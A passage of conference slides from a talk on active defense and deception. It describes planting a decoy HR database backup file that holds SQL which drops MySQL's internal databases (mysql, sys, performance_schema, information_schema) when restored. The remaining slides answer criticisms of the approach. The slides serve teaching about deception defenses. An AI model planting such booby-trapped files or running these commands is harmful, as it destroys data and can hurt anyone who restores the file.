  • 35. The SetupThe Setup ● Stage a fake employee database dump file inside of an unreferenced folder: i.e., /org/departments/human_resources/ ● Give the file an enticing name such as: 2017-12-05_hris_employee_mysql_db_backup.zip - OR - 2017-12-05_hris_employee_mysql_db_backup.sql
  • 36. What Else is Inside?What Else is Inside? Just a little SQL code to permanently wipe out the MySQL internal databases... DROP DATABASE mysql; DROP DATABASE sys; DROP DATABASE performance_schema; DROP DATABASE information_schema; If you thought recovering from a full disk situation was a hassle… :)
  • 37. Alternative Active Defense OptionsAlternative Active Defense Options https://www.blackhillsinfosec.com/projects/adhd/ SEC550: Active Defense, Offensive Countermeasures and Cyber Deception https://www.sans.org/course/active- defense-offensive-countermeasures- and-cyber-deception
  • 38. Criticisms, I’ve received a few...Criticisms, I’ve received a few... ● You should make the “Reflector Madness” login harder to crack – You’re in control... – Make it as simple or difficult to defeat as you like! ● This would make a legitimate penetration test more difficult – Have good documentation prepared in advance for white box or gray box engagements – An advance explanation of your robots.txt and sitemap should provide guidance
  • 39. Other expressed concerns...Other expressed concerns... ● “We’re not going to implement this, it might really tick off some skilled attackers and vindictive types!” – Malicious threat actors are mostly undeterred today ● They do not fear retribution for their actions ● That is why they keep compromising vulnerable systems – The fact that Brian Krebs is still alive today is a testament to not living in fear of what might happen ● Krebs adversaries ultimately respect him more for continuing his work ● Still not convinced in implementing Active Defense strategies? – Then simply don’t implement them!
  • 40. QuestionsQuestions Who ... What ... When ... Where ... Why ... How ...
  • 41. BSides Cleveland - June 23, 2018 Matt Scheurer @c3rkah Slides: https://www.slideshare.net/cerkah Thank you for attending!